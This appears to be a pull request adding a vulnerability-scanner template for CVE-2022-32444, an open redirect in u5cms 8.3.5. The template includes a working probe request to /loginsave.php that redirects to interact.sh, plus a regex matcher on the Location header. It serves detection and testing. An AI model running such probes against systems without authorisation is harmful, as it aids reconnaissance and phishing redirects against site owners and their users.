Merge pull request #4687 from Akokonunes/patch-162

Create CVE-2022-32444.yaml

cves/2022/CVE-2022-32444.yaml

@@ -0,0 +1,27 @@
+id: CVE-2022-32444
+
+info:
+  name: u5cms v8.3.5 - Open Redirect
+  author: 0x_Akoko
+  severity: medium
+  description: An issue was discovered in u5cms verion 8.3.5 There is a URL redirection vulnerability that can cause a user's browser to be redirected to another site via /loginsave.php.
+  reference:
+    - https://github.com/u5cms/u5cms/issues/50
+    - https://www.cvedetails.com/cve/CVE-2022-32444
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-32444
+    cwe-id: CWE-601
+  tags: cve,cve2022,redirect,u5cms,cms
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/loginsave.php?u=http://interact.sh'
+
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1